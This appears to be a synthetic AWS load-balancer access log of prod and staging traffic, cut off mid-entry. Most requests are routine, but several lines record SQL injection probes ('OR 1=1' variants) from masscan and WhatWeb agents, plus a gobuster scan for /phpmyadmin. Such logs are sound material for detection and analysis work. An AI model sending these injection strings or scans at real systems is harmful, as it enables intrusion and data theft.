0.019744 0.163551 0.076248 200 200 331 1692 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c104-46837408d73c43afb9c82453" "prod-api-alb.example.com" "-" 10 2024-11-01T00:40:20.563164Z "forward" "-" "-" "10.0.142.241:443" "200" "-" "-" -https 2024-11-01T00:40:21.390189Z staging-alb 199.42.165.13:47538 26.171.68.170:8080 0.112004 0.154168 0.148432 404 404 107 5173 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c105-c4c18ec9401f43d59a461750" "staging-alb.example.com" "-" 10 2024-11-01T00:40:21.390189Z "forward" "-" "-" "26.171.68.170:8080" "404" "-" "-" -https 2024-11-01T00:40:23.029620Z prod-api-alb 64.208.194.83:49715 10.0.255.121:443 0.083546 0.126811 0.095338 301 301 153 11994 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c107-985be4b648094a99b017ce0a" "prod-api-alb.example.com" "-" 10 2024-11-01T00:40:23.029620Z "forward" "-" "-" "10.0.255.121:443" "301" "-" "-" -https 2024-11-01T00:40:23.903134Z staging-alb 81.200.176.182:48571 22.224.95.2:443 0.147085 0.407730 0.098482 200 200 693 7764 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c107-241d2c0427d84cd6b7d61051" "staging-alb.example.com" "-" 8 2024-11-01T00:40:23.903134Z "forward" "-" "-" "22.224.95.2:443" "200" "-" "-" -http 2024-11-01T00:40:24.037780Z staging-alb 185.181.76.214:39383 157.228.221.107:443 0.092482 0.028002 0.075879 403 403 730 2101 "POST /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c108-ea4b73b4ab40451888bcf070" "-" "-" 5 2024-11-01T00:40:24.037780Z "forward" "-" "-" "157.228.221.107:443" "403" "-" "-" -http 2024-11-01T00:40:24.152295Z staging-alb 149.254.203.61:59491 33.214.50.103:443 0.110021 0.363594 0.133955 302 302 703 3900 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c108-5a37e880e9e2473d9183d11d" "staging-alb.example.com" "-" 8 2024-11-01T00:40:24.152295Z "forward" "-" "-" "33.214.50.103:443" "302" "-" "-" -https 2024-11-01T00:40:25.248704Z staging-alb 169.160.198.28:64631 49.128.36.76:8080 0.064615 0.484361 0.146296 200 200 451 13562 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c109-73c647a0e00c420fbb5f4a7c" "staging-alb.example.com" "-" 3 2024-11-01T00:40:25.248704Z "forward" "-" "-" "49.128.36.76:8080" "200" "-" "-" -https 2024-11-01T00:40:25.478677Z prod-api-alb 61.61.215.186:18294 10.0.223.75:443 0.047343 0.268990 0.050118 200 200 8 11286 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c109-c498ebe21832459b909e5e6b" "prod-api-alb.example.com" "-" 8 2024-11-01T00:40:25.478677Z "forward" "-" "-" "10.0.223.75:443" "200" "-" "-" -https 2024-11-01T00:40:25.811357Z staging-alb 215.72.193.121:60376 227.202.103.239:443 0.015017 0.731947 0.018044 200 200 192 1160 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c109-b70d69334d424e6eb3f2e29f" "staging-alb.example.com" "-" 1 2024-11-01T00:40:25.811357Z "forward" "-" "-" "227.202.103.239:443" "200" "-" "-" -http 2024-11-01T00:40:26.974717Z staging-alb 193.27.228.131:12586 160.104.211.81:443 0.040942 0.039660 0.136839 403 403 448 7573 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c10a-9823fa15728541599c4c8308" "-" "-" 4 2024-11-01T00:40:26.974717Z "forward" "-" "-" "160.104.211.81:443" "403" "-" "-" -https 2024-11-01T00:40:28.505591Z prod-api-alb 71.12.7.240:64811 10.0.214.1:443 0.016385 0.236214 0.004114 200 200 245 2899 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c10c-cb602694be6143e583119be7" "prod-api-alb.example.com" "-" 9 2024-11-01T00:40:28.505591Z "forward" "-" "-" "10.0.214.1:443" "200" "-" "-" -https 2024-11-01T00:40:28.776415Z prod-api-alb 222.103.54.38:57532 10.0.184.153:443 0.091990 0.257975 0.068521 200 200 886 8634 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c10c-b7f41410416e4b5da7d8d6f6" "prod-api-alb.example.com" "-" 8 2024-11-01T00:40:28.776415Z "forward" "-" "-" "10.0.184.153:443" "200" "-" "-" -http 2024-11-01T00:40:29.194145Z staging-alb 74.78.157.183:51928 5.163.51.103:8080 0.093367 0.008654 0.066450 200 200 349 8960 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c10d-3018fa04fd4d47159e3c1434" "staging-alb.example.com" "-" 1 2024-11-01T00:40:29.194145Z "forward" "-" "-" "5.163.51.103:8080" "200" "-" "-" -https 2024-11-01T00:40:31.144381Z prod-web-alb 40.50.147.163:49102 10.0.37.122:443 0.022768 0.087095 0.092284 200 200 331 714 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c10f-2b6aecfac6464004a44d798f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:31.144381Z "forward" "-" "-" "10.0.37.122:443" "200" "-" "-" -https 2024-11-01T00:40:31.259144Z staging-alb 142.171.166.230:64640 162.88.134.83:8080 0.063863 0.609813 0.039164 302 302 171 4324 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c10f-1836446e5d224496927a7c87" "staging-alb.example.com" "-" 2 2024-11-01T00:40:31.259144Z "forward" "-" "-" "162.88.134.83:8080" "302" "-" "-" -http 2024-11-01T00:40:31.570069Z staging-alb 220.104.28.70:38504 68.228.182.55:80 0.075951 0.138465 0.019556 301 301 844 11999 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c10f-547a2e2b6d9b461f859ae0e2" "staging-alb.example.com" "-" 3 2024-11-01T00:40:31.570069Z "forward" "-" "-" "68.228.182.55:80" "301" "-" "-" -https 2024-11-01T00:40:32.622115Z prod-api-alb 129.15.217.49:64069 10.0.37.219:443 0.040487 0.295343 0.073164 200 200 30 7022 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c110-de10159af888403fa5b720e7" "prod-api-alb.example.com" "-" 1 2024-11-01T00:40:32.622115Z "forward" "-" "-" "10.0.37.219:443" "200" "-" "-" -https 2024-11-01T00:40:33.995923Z staging-alb 166.174.20.249:49883 223.38.183.14:8080 0.026891 0.250175 0.016313 301 301 227 11833 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c111-180d854c4e454e309fc428af" "staging-alb.example.com" "-" 5 2024-11-01T00:40:33.995923Z "forward" "-" "-" "223.38.183.14:8080" "301" "-" "-" -https 2024-11-01T00:40:35.715831Z prod-api-alb 182.125.68.70:31590 10.0.163.62:443 0.002956 0.004195 0.037084 200 200 235 13433 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c113-9565b12764864f7b8d2f6525" "prod-api-alb.example.com" "-" 3 2024-11-01T00:40:35.715831Z "forward" "-" "-" "10.0.163.62:443" "200" "-" "-" -https 2024-11-01T00:40:36.282480Z prod-api-alb 8.107.45.204:48694 10.0.84.151:443 0.016932 0.366228 0.055169 200 200 272 3233 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c114-813f028aa26c4bdb8579f4a0" "prod-api-alb.example.com" "-" 9 2024-11-01T00:40:36.282480Z "forward" "-" "-" "10.0.84.151:443" "200" "-" "-" -https 2024-11-01T00:40:38.239265Z prod-web-alb 184.197.67.11:13625 10.0.106.220:443 0.043510 0.049515 0.075919 301 301 872 1856 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c116-9ccf81a3a36e4edf996f01b7" "prod-web-alb.example.com" "-" 3 2024-11-01T00:40:38.239265Z "forward" "-" "-" "10.0.106.220:443" "301" "-" "-" -https 2024-11-01T00:40:39.902300Z staging-alb 217.15.76.245:39238 64.189.241.55:443 0.122028 0.733972 0.066508 404 404 798 9873 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c117-33326d9cffd04a63b1d259e9" "staging-alb.example.com" "-" 6 2024-11-01T00:40:39.902300Z "forward" "-" "-" "64.189.241.55:443" "404" "-" "-" -https 2024-11-01T00:40:40.510536Z prod-api-alb 152.65.205.146:38182 10.0.20.65:443 0.061150 0.304502 0.094567 200 200 391 1239 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c118-20f4fe37733f4b579ffd44cf" "prod-api-alb.example.com" "-" 5 2024-11-01T00:40:40.510536Z "forward" "-" "-" "10.0.20.65:443" "200" "-" "-" -https 2024-11-01T00:40:42.398400Z prod-api-alb 74.23.210.7:28320 10.0.125.220:443 0.034916 0.349243 0.074588 200 200 221 10491 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c11a-d227a7a71ca843d6b3b07a82" "prod-api-alb.example.com" "-" 1 2024-11-01T00:40:42.398400Z "forward" "-" "-" "10.0.125.220:443" "200" "-" "-" -https 2024-11-01T00:40:43.204474Z prod-api-alb 202.176.198.152:14837 10.0.211.206:443 0.060894 0.005275 0.087851 404 404 116 1043 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c11b-7a7477e3a9d34fce8e0a7486" "prod-api-alb.example.com" "-" 2 2024-11-01T00:40:43.204474Z "forward" "-" "-" "10.0.211.206:443" "404" "-" "-" -https 2024-11-01T00:40:43.839462Z prod-api-alb 191.101.141.248:50891 10.0.100.65:443 0.015239 0.462858 0.048113 200 200 98 12581 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c11b-71ca3f134d70478d81524139" "prod-api-alb.example.com" "-" 0 2024-11-01T00:40:43.839462Z "forward" "-" "-" "10.0.100.65:443" "200" "-" "-" -https 2024-11-01T00:40:45.601612Z prod-web-alb 182.75.59.104:52782 10.0.229.105:443 0.058885 0.126651 0.089572 301 301 324 13563 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c11d-af0e713ea97944ac85294bf7" "prod-web-alb.example.com" "-" 10 2024-11-01T00:40:45.601612Z "forward" "-" "-" "10.0.229.105:443" "301" "-" "-" -https 2024-11-01T00:40:46.912697Z prod-web-alb 186.30.214.134:62487 10.0.163.3:443 0.071644 0.396470 0.036799 301 301 159 2224 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c11e-fa5e04b1c9f24e66beef3a45" "prod-web-alb.example.com" "-" 10 2024-11-01T00:40:46.912697Z "forward" "-" "-" "10.0.163.3:443" "301" "-" "-" -https 2024-11-01T00:40:47.250923Z prod-api-alb 30.208.38.39:57453 10.0.231.198:443 0.090557 0.073601 0.067004 301 301 950 2104 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c11f-0d93aedc9f12417a8fb7e49d" "prod-api-alb.example.com" "-" 9 2024-11-01T00:40:47.250923Z "forward" "-" "-" "10.0.231.198:443" "301" "-" "-" -https 2024-11-01T00:40:47.838939Z prod-web-alb 243.14.124.38:13048 10.0.208.207:443 0.064954 0.454186 0.053525 404 404 546 4106 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c11f-a89fcef5fb2245d69029bd5f" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:47.838939Z "forward" "-" "-" "10.0.208.207:443" "404" "-" "-" -https 2024-11-01T00:40:48.343168Z prod-api-alb 179.16.95.179:35252 10.0.25.199:443 0.062283 0.138879 0.097215 200 200 581 9799 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c120-2da06610d9eb431ba3db5717" "prod-api-alb.example.com" "-" 0 2024-11-01T00:40:48.343168Z "forward" "-" "-" "10.0.25.199:443" "200" "-" "-" -http 2024-11-01T00:40:49.565054Z staging-alb 123.23.109.107:38212 72.116.4.162:8080 0.139958 0.483684 0.070663 200 200 178 2635 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c121-6d522fb789724d6daafacdd0" "staging-alb.example.com" "-" 3 2024-11-01T00:40:49.565054Z "forward" "-" "-" "72.116.4.162:8080" "200" "-" "-" -https 2024-11-01T00:40:50.939650Z staging-alb 56.42.174.151:49258 246.4.105.24:80 0.131938 0.235760 0.099169 200 200 937 9547 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c122-f92442d43c8d4f0db727e870" "staging-alb.example.com" "-" 0 2024-11-01T00:40:50.939650Z "forward" "-" "-" "246.4.105.24:80" "200" "-" "-" -http 2024-11-01T00:40:51.324131Z staging-alb 192.47.148.19:50752 81.120.194.102:8080 0.099740 0.355675 0.076464 200 200 4 2597 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c123-1b692c2a00a147e69de67d78" "staging-alb.example.com" "-" 9 2024-11-01T00:40:51.324131Z "forward" "-" "-" "81.120.194.102:8080" "200" "-" "-" -https 2024-11-01T00:40:52.454572Z prod-web-alb 39.85.232.167:40409 10.0.178.155:443 0.087948 0.188710 0.006780 200 200 993 11491 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c124-1a0720bf20d8448aa8493560" "prod-web-alb.example.com" "-" 0 2024-11-01T00:40:52.454572Z "forward" "-" "-" "10.0.178.155:443" "200" "-" "-" -http 2024-11-01T00:40:54.207213Z staging-alb 104.207.153.141:43815 16.26.167.78:443 0.075475 0.226499 0.129403 200 200 109 14927 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c126-bd446de0b3e94783b8c0e54e" "staging-alb.example.com" "-" 9 2024-11-01T00:40:54.207213Z "forward" "-" "-" "16.26.167.78:443" "200" "-" "-" -https 2024-11-01T00:40:55.244599Z prod-web-alb 111.120.177.215:27343 10.0.89.165:443 0.060674 0.147876 0.088481 200 200 451 12879 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c127-0b8ef4d10cc4442b9b95f3b9" "prod-web-alb.example.com" "-" 4 2024-11-01T00:40:55.244599Z "forward" "-" "-" "10.0.89.165:443" "200" "-" "-" -http 2024-11-01T00:40:55.817518Z staging-alb 103.239.167.35:41842 13.142.173.4:8080 0.053031 0.106370 0.062358 200 200 207 6003 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c127-9b0f9591c48a45f88f1a40c6" "staging-alb.example.com" "-" 9 2024-11-01T00:40:55.817518Z "forward" "-" "-" "13.142.173.4:8080" "200" "-" "-" -http 2024-11-01T00:40:56.902557Z staging-alb 219.254.64.184:31190 19.129.35.78:443 0.134859 0.710044 0.086048 200 200 538 8098 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c128-ed170b91cfae4d90b747cb40" "staging-alb.example.com" "-" 0 2024-11-01T00:40:56.902557Z "forward" "-" "-" "19.129.35.78:443" "200" "-" "-" -http 2024-11-01T00:40:58.729784Z staging-alb 156.130.246.153:49000 220.233.140.160:8080 0.109530 0.138287 0.104532 200 200 171 10018 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c12a-4206640f643c4c4a9edddb46" "staging-alb.example.com" "-" 0 2024-11-01T00:40:58.729784Z "forward" "-" "-" "220.233.140.160:8080" "200" "-" "-" -https 2024-11-01T00:41:00.262157Z prod-api-alb 14.133.118.28:31352 10.0.69.42:443 0.026058 0.371565 0.068118 301 301 118 6584 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c12c-e68618e895c24fddb4dada5d" "prod-api-alb.example.com" "-" 6 2024-11-01T00:41:00.262157Z "forward" "-" "-" "10.0.69.42:443" "301" "-" "-" -https 2024-11-01T00:41:01.517895Z prod-web-alb 104.24.76.129:12654 10.0.229.58:443 0.033894 0.030918 0.037199 200 200 586 10274 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c12d-e0323eeeb95e40609a60eaf6" "prod-web-alb.example.com" "-" 3 2024-11-01T00:41:01.517895Z "forward" "-" "-" "10.0.229.58:443" "200" "-" "-" -http 2024-11-01T00:41:01.831454Z staging-alb 140.17.62.127:36624 49.186.109.168:80 0.018744 0.515719 0.083202 301 301 45 5765 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c12d-9819474696ba45fa94be4a0b" "staging-alb.example.com" "-" 7 2024-11-01T00:41:01.831454Z "forward" "-" "-" "49.186.109.168:80" "301" "-" "-" -http 2024-11-01T00:41:03.347442Z staging-alb 221.43.2.137:51915 122.43.31.72:443 0.008028 0.132957 0.115542 200 200 202 9151 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c12f-4309caaf67324e61b4ea791b" "staging-alb.example.com" "-" 5 2024-11-01T00:41:03.347442Z "forward" "-" "-" "122.43.31.72:443" "200" "-" "-" -https 2024-11-01T00:41:05.108606Z staging-alb 185.181.76.214:56700 2.181.221.52:80 0.082068 0.086989 0.138294 500 500 843 13596 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c131-29fecf3034434e7baf957212" "-" "-" 5 2024-11-01T00:41:05.108606Z "forward" "-" "-" "2.181.221.52:80" "500" "-" "-" -https 2024-11-01T00:41:05.324546Z prod-api-alb 77.118.167.37:64677 10.0.226.216:443 0.016722 0.490747 0.031948 302 302 252 9484 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c131-24ae7f181bb04303806a7953" "prod-api-alb.example.com" "-" 9 2024-11-01T00:41:05.324546Z "forward" "-" "-" "10.0.226.216:443" "302" "-" "-" -https 2024-11-01T00:41:06.808905Z staging-alb 181.105.125.54:26231 65.24.97.207:8080 0.024964 0.281770 0.018164 302 302 750 4862 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c132-76aed5054f5d40ecadeae2c2" "staging-alb.example.com" "-" 0 2024-11-01T00:41:06.808905Z "forward" "-" "-" "65.24.97.207:8080" "302" "-" "-" -https 2024-11-01T00:41:08.489798Z prod-web-alb 193.27.228.48:11326 10.0.253.117:443 0.010939 0.148852 0.055025 401 401 295 2379 "GET /phpmyadmin HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c134-06bdd13527f94df5b0c40c7f" 